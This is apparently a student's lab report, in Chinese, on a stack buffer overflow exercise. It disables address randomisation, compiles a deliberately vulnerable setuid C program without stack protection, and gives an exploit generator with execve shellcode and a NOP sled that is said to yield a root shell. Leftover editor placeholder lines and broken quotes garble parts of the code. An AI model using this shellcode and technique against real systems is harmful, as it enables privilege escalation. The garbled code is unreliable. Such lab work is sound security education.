2023-2024-1 20232823《Linux内核原理与分析》第十三周作业

一、实验介绍

缓冲区溢出漏洞实验

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。

二、实验过程：

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb

sudo sysctl -w kernel.randomize_va_space=0

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

shellcode

下面展示一些 内联代码片。

// A code block
var foo = 'bar';

// An highlighted block
var foo = 'bar';
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}

漏洞程序

// stack

// An highlighted block
var foo = 'bar';
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

sudo su

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

chmod u+s stack

exit

攻击程序

下面展示一些 内联代码片。

// exploit.c

// An highlighted block
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

在我们要得到shellcode在内存中的地址，输入命令：
gdb stack
disass main
gcc -m32 -o exploit exploit.c
最终得到root权限